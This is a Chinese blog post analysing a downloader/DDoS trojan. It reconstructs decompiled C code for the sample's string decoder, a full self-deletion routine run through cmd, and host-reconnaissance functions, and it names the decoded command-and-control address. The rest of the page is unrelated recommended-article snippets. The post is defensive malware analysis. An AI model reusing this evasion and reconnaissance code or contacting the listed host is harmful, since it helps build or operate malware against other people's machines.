Win32.Rootkit.Lapka.Wozw 木马病毒分析

恶意软件分析——RootKit高级分析技术 RootKit的运行特点是运行之后不退出、不创建其他进程,进程行为几乎完全模仿正常程序。普通方法很难察觉到它们的病毒目的。 这类病毒的目的多是: 1.密码窃取病毒 会进行密码爆破,cookie偷取,键盘记录,DNS枚举,长期藏匿于电脑中一旦得手就给远程服务器连接。 2.感染型病毒 ... 阅读详情
By: DeathMemory
QQ: 123951548

前言

近期简单分析了一个下载者+DDos的病毒,还原了一些代码,把大家感兴趣的部分分享出来,仅供学习研究。大神请跳过。

病毒执行流程

整体流程


监控服务

服务开启后,病毒会循环尝试开启线程,获取系统信息,连接远程地址。
远程地址是 Base64(算法处理(URL:port)) -> 1NTUHdvi4NgKCh3V2tMJEhcQEEM=
解密后为:www.hack99.vip:1433

建立 socket 后就发送获取的系统信息,并开始接收返回命令。
根本返回执行相关指令,预置命令是 DDOS 相关代码。


代码还原

Base64 解密处理

int __cdecl customDecode(char *Str)
{
  int len; // [sp+0h] [bp-Ch]@1
  int i; // [sp+4h] [bp-8h]@1
  int outBuff; // [sp+8h] [bp-4h]@1

  outBuff = 0;
  len = base64_decode(Str, &outBuff);
  for ( i = 0; i < len; ++i )
  {
    *(i + outBuff) += 56;
    *(i + outBuff) ^= 123u;
  }
  return outBuff;
}

自删除完整流程

signed int deleteSelf()
{
  HMODULE hKERNEL32; // eax@1
  HANDLE hProc; // eax@2
  HANDLE hThread; // eax@2
  signed int result; // eax@2
  CHAR cmdPath[260]; // [sp+Ch] [bp-354h]@1
  char cmdDeleteSelf[260]; // [sp+110h] [bp-250h]@1
  CHAR Filename[260]; // [sp+214h] [bp-14Ch]@1
  SHELLEXECUTEINFOA exeInfo; // [sp+318h] [bp-48h]@1
  FARPROC lstrcatA; // [sp+354h] [bp-Ch]@1
  char aOpen[5]; // [sp+358h] [bp-8h]@1

  hKERNEL32 = LoadLibraryA("KERNEL32.dll");
  lstrcatA = GetProcAddress(hKERNEL32, "lstrcatA");
  Filename[0] = 0;
  memset(&Filename[1], 0, 0x100u);
  *&Filename[257] = 0;
  Filename[259] = 0;
  cmdPath[0] = 0;
  memset(&cmdPath[1], 0, 0x100u);
  *&cmdPath[257] = 0;
  cmdPath[259] = 0;
  cmdDeleteSelf[0] = 0;
  memset(&cmdDeleteSelf[1], 0, 0x100u);
  *&cmdDeleteSelf[257] = 0;
  cmdDeleteSelf[259] = 0;
  GetModuleFileNameA(0, Filename, 0x104u);
  GetShortPathNameA(Filename, Filename, 0x104u);// 转换成短形式路径
  GetEnvironmentVariableA("COMSPEC", cmdPath, 0x104u);// 从调用该函数的进程的环境变量中返回指定的变量名值的函数
                                                // 获取 cmd 绝对路径
  (lstrcatA)(cmdDeleteSelf, "/c del ");
  (lstrcatA)(cmdDeleteSelf, Filename);
  (lstrcatA)(cmdDeleteSelf, " > nul");      // 调用 cmd 删除自身
  exeInfo.lpVerb = aOpen;
  exeInfo.lpFile = cmdPath;
  exeInfo.cbSize = 60;
  exeInfo.hwnd = 0;
  aOpen[0] = 79;                                // Open
  aOpen[1] = 112;
  aOpen[2] = 101;
  aOpen[3] = 110;
  aOpen[4] = 0;
  exeInfo.lpParameters = cmdDeleteSelf;
  exeInfo.lpDirectory = 0;
  exeInfo.nShow = 0;
  exeInfo.fMask = 0x40;
  if ( ShellExecuteExA(&exeInfo) )              // 执行自删除
  {
    SetPriorityClass(exeInfo.hProcess, 0x40u);  // IDLE_PRIORITY_CLASS 只有当系统空闲时再执行
    hProc = GetCurrentProcess();
    SetPriorityClass(hProc, 0x100u);            // REALTIME_PRIORITY_CLASS
    hThread = GetCurrentThread();
    SetThreadPriority(hThread, 0xF);            // THREAD_PRIORITY_TIME_CRITICAL 设置优先级
    SHChangeNotify(4, 1u, Filename, 0);
    result = 1;
  }
  else
  {
    result = 0;
  }
  return result;
}

系统信息收集

  1. 获取语言
    使用 GetSystemDefaultUILanguage 获取语言
  2. 获取 CPU Hz
    通过注册表:"HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0"的~MHz读取其键值。
  3. 获取内存
    使用 GlobalMemoryStatusEx API 获取
  4. 获取网卡配置和Ip地址信息
    使用 GetAdaptersInfo 循环获取网卡信息

  lstrcpyA(regHardwareDes, "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0");
  if ( RegOpenKeyExA(HKEY_LOCAL_MACHINE, regHardwareDes, 0, KEY_ALL_ACCESS, &phkResult) )
  {
    Find_CPU_Error[0] = 70;                     // Find CPU Error
    Find_CPU_Error[1] = 105;
    Find_CPU_Error[2] = 110;
    Find_CPU_Error[3] = 100;
    Find_CPU_Error[4] = 32;
    Find_CPU_Error[5] = 67;
    Find_CPU_Error[6] = 80;
    Find_CPU_Error[7] = 85;
    Find_CPU_Error[8] = 32;
    Find_CPU_Error[9] = 69;
    Find_CPU_Error[10] = 114;
    Find_CPU_Error[11] = 114;
    Find_CPU_Error[12] = 111;
    Find_CPU_Error[13] = 114;
    Find_CPU_Error[14] = 0;
    strcpy(storeBuff + 100, Find_CPU_Error);
  }
  else
  {
    Type = 4;
    cbData = 200;
    RegQueryValueExA(phkResult, "~MHz", 0, &Type, Data, &cbData);
    (RegCloseKey)(phkResult);
    GetSystemInfo(&SystemInfo);
    memset(&Dst, 0, 0xAu);
    MHz[0] = 77;
    MHz[1] = 72;
    MHz[2] = 122;
    MHz[3] = 0;
    sprintf(&Dst, "%d*%u%s", SystemInfo.dwNumberOfProcessors, *Data, MHz);
    strcpy(storeBuff + 100, &Dst);
  }
  memStatus.dwLength = 64;
  GlobalMemoryStatusEx(&memStatus);
  mb = memStatus.ullTotalPhys / 1024 / 1024;    // 获取内存
  mb_p = mb + 1;
  wsprintfA(storeBuff + 68, "%u MB", mb + 1, ((mb + 1) >> 32));
  SizePointer = 0;
  AdapterInfo = malloc(0x280u);
  if ( GetAdaptersInfo(AdapterInfo, &SizePointer) == ERROR_BUFFER_OVERFLOW )
  {
    free(AdapterInfo);
    AdapterInfo = malloc(SizePointer);          // 如果内存不够则重新 malloc
  }
  if ( !GetAdaptersInfo(AdapterInfo, &SizePointer) )// 获取网卡配置和Ip地址信息
  {
    while ( AdapterInfo )
    {
      if ( strcmp(AdapterInfo->GatewayList.IpAddress.String, "0.0.0.0") )
      {
        pIfTable = 0;
        pdwSize = 0;
        v11 = 0;
        sRes = GetIfTable(0, &pdwSize, 1);
        if ( sRes == ERROR_INSUFFICIENT_BUFFER )
        {
          pIfTable = operator new(pdwSize);
          if ( pIfTable )
          {
            sRes = GetIfTable(pIfTable, &pdwSize, 1);
            if ( !sRes )
            {
              for ( i = 0; i < pIfTable->dwNumEntries; ++i )
              {
                if ( pIfTable->table[i].dwOperStatus
                  && pIfTable->table[i].dwAdminStatus != IF_OPER_STATUS_DISCONNECTED
                  && pIfTable->table[i].dwIndex == AdapterInfo->Index )
                {
                  nSpeed = pIfTable->table[i].dwSpeed / 1000 / 1000;
                  if ( nSpeed < 1000 )
                  {
                    sprintf(&aSpeed, "%u Mbps", nSpeed);// 获取网速
                    strcpy(storeBuff + 132, &aSpeed);
                  }
                  else
                  {
                    sprintf(&aSpeed, "%u Gbps", nSpeed / 0x3E8);
                    strcpy(storeBuff + 132, &aSpeed);
                  }
                }
              }
            }
            operator delete(pIfTable);
          }
        }
      }
      AdapterInfo = AdapterInfo->Next;
    }
  }


网吧辅助管理系统1.5 目前有三大功能: 【公告发送】:客户机开机自动发送、定时发送、手动发送。其中有右下角公告、滚动公告、状态栏气泡、信息框。发送的公告不影响玩全屏游戏的客户,玩全屏游戏的游戏退出后显示公告,收费软件锁屏的,等解锁后显示公告。窗口游戏的客户公告会出来后不影响键盘和鼠标的操作。 【下载禁止】:包括IE下载、迅雷、酷狗、快车、QQ旋风,还可以自定义窗口禁止和进程禁止;可设置下载禁止开关,包括按上机人数来禁止、按星期时段来禁止;可设置分组,每个分组有不同的禁止方案,另外可以选择某些机器临时开放下载或者临时添加到其他分组,关机或重启后恢复原来的下载禁止方案。 【网吧聊天】:网吧内部可以聊天、有新的聊天 立即下载

相关推荐

保姆级教程:在mmdetection中手动计算并可视化P、R、F1值(附完整代码)

本文提供了一份详细的mmdetection教程,指导开发者如何手动计算并可视化精确率(P)、召回率(R)和F1值。通过完整的代码示例和清晰的步骤说明,帮助用户深入理解目标检测模型的性能评估方法,特别适合需要精细分析模型表现的计算机视觉研究人员和工程师。

weixin_29038303的博客 401

Win64.Rootkit.Agent.Stso内核级木马

腾讯电脑管家好像处理不了,重启5.6次还是有,直接进文件位置自己删了,玩了一晚上游戏,复查,就没有了;今早也看了一遍,也没有。 一直重启屁用没有,不如我自己动手。 昨天下午逛B站,逛着逛着,诶,视频没声了,然后QQ能用,就是网页不能连,将近差不多5分钟吧,然后就感觉有猫腻。就用腾讯管家扫了一遍。tm内核级木马,看见的时候给我吓傻了,这玩意可不是说笑的哈,卡巴斯基俺一个极度抠门的又没买,盗版的也没弄,就有一个腾讯电脑管家和win10自带的。 一个星期前自行照着B乎还是优快云上面文章升级的w..

Z_shuaishuai的博客 4500

概率论 知识图谱 + 实战案例解析

本文通过构建概率论知识图谱,系统梳理了从随机试验、概率、条件概率到随机变量与分布的核心概念及其内在联系。结合朴素贝叶斯分类器和蒙特卡洛模拟等实战案例,深入解析了条件概率、独立性及大数定律等理论如何应用于机器学习与实际问题求解,旨在帮助读者建立结构化思维,将理论有效转化为解决实际问题的能力。

weixin_29051193的博客 267

Windows——实现exe自删除

exe实现自删除

qq_44745063的博客 2846

MQTT(一)C#使用 MQTTnet 快速实现 MQTT 通信(文末有完整Demo下载)

目录 MQTT(一)C#使用 MQTTnet 快速实现 MQTT 通信(文末有完整Demo下载) MQTT(二)在windows64位上安装Python环境 MQTT(三)Python客户端+net客户端+net服务端 简单通信 MQTT(四)树莓派开机自动运行Python客户端 MQTT(五)EMQ开源MQTT消息服务器 1 什么是 MQTT ? MQTT(Message Que...

pw的博客 10万+

稀疏数据分析:马蹄估计量及其理论性质

稀疏数据分析:马蹄估计量及其理论性质基本框架half-Cauchy分布为什么它叫马蹄估计量后验均值、shrinkage与κ\kappaκθ\thetaθ的边缘先验分布的阶马蹄估计的一致性收敛速率Clarke-Barron(1990)引理马蹄估计的最优收敛速率 这是对The horseshoe estimator for sparse signal这篇论文的回顾,这篇论文在Modern Bayesian statistics与Bayesian Machine Learning领域比较重要,它提出了一种新的先验

一个不愿透露姓名的博客 3800

内核木马:Win32.Rootkit.Rogue.Tzim查杀

今天发现win8下存在Win32.Rootkit.Rogue.Tzim内核木马.常规使用QQ管家查出来的,以为杀了重启就好了,结果一次次被检出. 切换到win8安全模式,使用QQ急救箱查杀,杀了后,正常重启.还是被QQ管家检出. 然后换其他比如贝壳木马查杀,卡巴斯基的木马查杀,连病毒都没检出. 最后使用金山顽固病毒木马查杀,结果删除了.重启后QQ管家也没没检出. 虽然此软件说明不支持win8,但还...

优快云1887的博客 3557

PCB工程师必看:别再搞错1078玻纤布的Dk了,手把手教你算等效介电常数

本文为PCB工程师提供了1078玻纤布等效介电常数(Dk)的详细计算指南,帮助解决高速设计中的信号完整性问题。通过解析玻纤布结构、混合介质理论和实战计算方法,指导工程师准确设置EDA工具参数,避免常见的Dk计算误区,提升设计精度和仿真准确性。

weixin_42546392的博客 399

rootkit模拟木马病毒

Rootkit是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息,比较多见到的是Rootkit一般都和木马、后门等其他恶意程序结合使用。 在我们生活中,经常看的电视剧谍战片里有一个必不可少的人物——卧底。它的职责就是:良好的伪装使得对手对此长时间毫无察觉;他赢得敌人的信任并因此身居要职,这使得他能够源源不断地获取重要情报并利用其独特渠道传送回去。https://...

ILP-Linux的博客 6893

YOLOv11改进 | 主干/Backbone篇 | 利用RT-DETR主干网络PPHGNetV2助力yolov11有效涨点(轻量化目标检测网络)

本文给大家带来利用RT-DETR模型主干HGNet去替换YOLOv11的主干,RT-DETR是今年由百度推出的第一款实时的ViT模型,其在实时检测的领域上号称是打败了YOLO系列,其利用两个主干一个是HGNet一个是ResNet,其中HGNet就是我们今天来讲解的网络结构模型,这个网络结构目前还没有推出论文,所以其理论知识在网络上也是非常的少,我也是根据网络结构图进行了分析(精度mAP提高0.05)。YOLOv11改进系列专栏——本专栏持续复习各种顶会内容——科研必备​目录一、本文介绍。

Snu77的博客 3721

基于Simulink的六旋翼无人机动力分配仿真建模示例

六旋翼无人机概述特点:高冗余度、增强的负载能力和更好的故障容忍性。关键组件电机与螺旋桨:提供升力和推力。电调(ESC):控制电机转速。IMU(惯性测量单元):包括加速度计和陀螺仪,用于姿态估计。飞控板:处理传感器数据并生成控制信号。应用场景:航拍摄影、农业监测、物流配送等。仿真目标搭建一个简化的六旋翼无人机动力分配模型,涵盖电机驱动、姿态控制及位置控制过程。分析不同条件下的性能指标(如响应时间、稳定性等),并探讨六旋翼无人机的设计优化。

xiaoheshang_123的博客 485

Trojan.win32.StartPage.amg病毒解决方案

中这个病毒几天了,一直没有处理。今天找到答案了:Trojan.win32.StartPage.amg病毒在11月11号发作.下面来看看为什么这个流氓会在11月11日这天突然大面积爆发 该篡改模块会检测当前时间是否在2006年11...

congsikuai0611的博客 919

嵌入式系统开发笔记96:将STM32CubeIDE设置为中文

本文介绍将STM32CubeIDE设置为中文的方法。

snmplink的博客 8538

安全学习木马查杀打卡第二十一天

本文为苏尚武老师运维安全课程课程笔 木马查杀 主要针对挖矿木马和DDOS木马 中毒现象: 服务器带宽异常、系统产生多余不明用户、开机不明crontab和开机启动项、cpu过高、远程连不上 检查步骤: 1、检查系统日志 2、检查系统用户 3、检查异常进程 4、检查异常系统文件 5、检查网络 6、检查系统计划任务 7、检查系统后门 8、检查系统服务 9、检查RootKit ...

蟋蟀15型 286

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

隐蔽Rootkit病毒触发驱动冲突蓝屏‌‌问题描述‌电脑运行时随机蓝屏,尤其在联网时更频繁,今天来解决我们昨天的问题

【代码】隐蔽Rootkit病毒触发驱动冲突蓝屏‌‌问题描述‌电脑运行时随机蓝屏,尤其在联网时更频繁,今天来解决我们昨天的问题。

qwertyuiopaasd的博客 665

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

关于Trojan.Rootkit.m病毒(一)

很不幸,今天第二次遭到这个家伙的攻击,上一次发生在3天前。症状是:瑞星杀毒软件频繁跳出发现该病毒,点击杀毒可以删除(文件为C:/WIndows/System32/remon.sys),但马上又出现,从网上的文章看,其它杀毒软件反映基本类似,就是不断弹出发现病毒警告。我的解决办法如下,仅供网友们参考。本机操作系统Windows 2003,瑞星杀毒和防火墙。1:启动到安全模式(已经不能正常启动,启动时

alphacsdn的专栏 3591

最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。

360木马云查杀结果(非常有讽刺意义)

        先说一下我的电脑环境,我一直用360做为更新补丁的工具,其他都不用,所以每次都没更新,每次用它的“修复工具”安全启动360。         前几天,受不了那个更新提示,于是更新了一下。         今天突然想起更新补丁,于是又运行了,顺便查了一下木马,结果大吃一惊,有图有真相:  ...

weixin_34067049的博客 424

一个感染性木马病毒分析(三)--文件的修复

一、 序言 前面的分析一个感染型木马病毒分析(二)中,已经将该感染性木马病毒resvr.exe木马性的一面分析了一下,下面就将该感染性木马病毒resvr.exe感染性的一面分析一下。   二、文件感染方式的分析 之前感染性木马病毒的分析中,已经提到了病毒对于用户文件的感染方式有2种,分别是加密文件和感染文件传播病毒,至于文件感染的时候采取哪种感染方式,病毒母体文件和

Fly20141201. 的专栏 5205

Windows Rootkit 技术分析

现在很多人对rootkit认识不够,可以说空白。而此文的目的就是让大家认识rootkit→了解rootkit。也让一些想研究它的人把这篇文章当作一个参考或是入门级的指导。************************************************************转载请保留文章完整,谢谢! *Date:2005/9/11 祝童童生日快乐。也纪念世贸大厦 *作者:sunwe

斑竹的程序设计专栏 1635

遭遇rootkit.win32.vanti.bq病毒

    我电脑的系统是XP。今天刚开机,卡巴斯基反病毒软件就报告发现C盘Windows/Temp目录下的Val.dll文件感染rootkit.win32.vanti.bq病毒。选择“删除”,卡巴斯基提示删除不了。想打开IE查找一下这是何方神圣,却发现IE根本不能打开。到朋友的电脑中,在google中输入rootkit.win32.vanti.bq关键字,发现只能找到三条记录,而且相关的还都是韩国网

海阔天空 2947

遭遇RootKit.Win32.GameHack,Trojan.PSW.Win32.QQPass,Trojan-PSW.Win32.OnLineGames等2

遭遇RootKit.Win32.GameHack,Trojan.PSW.Win32.QQPass,Trojan-PSW.Win32.OnLineGames等2endurer 原创2008-03-20 第1版(结:遭遇RootKit.Win32.GameHack,Trojan.PSW.Win32.QQPass,Trojan-PSW.Win32.OnLineGames等1)先到 http:

Purpleendurer@优快云 4854

Win32/Agent.AJVG 特洛伊木马如何清除

这个可能是新浪点点通的自升级文件; 凡是使用了新浪网,一般都会有这个;可不用理会; 可以进入控制面板的添加/删除程序卸载它; 新浪ut也自动安装这个 解决方法:点击“开始”→“运行”,输入“regedit”回车,进入注册表编辑器,按F3键,输入“nmgamex.dll”回车,每找到一条就删除该名称所在项(而不是只删除字符串,例如,如果找到“C:/WINNT/system32/Rundll32.ex

安静 2014
上一篇: 编译 cyanogenmod (cm) android 源码遇到的坑(自用)
下一篇: 【解决】:不能删除旧版本的Apple Software Update
deathmemory
博客等级 码龄16年 44粉丝 32原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值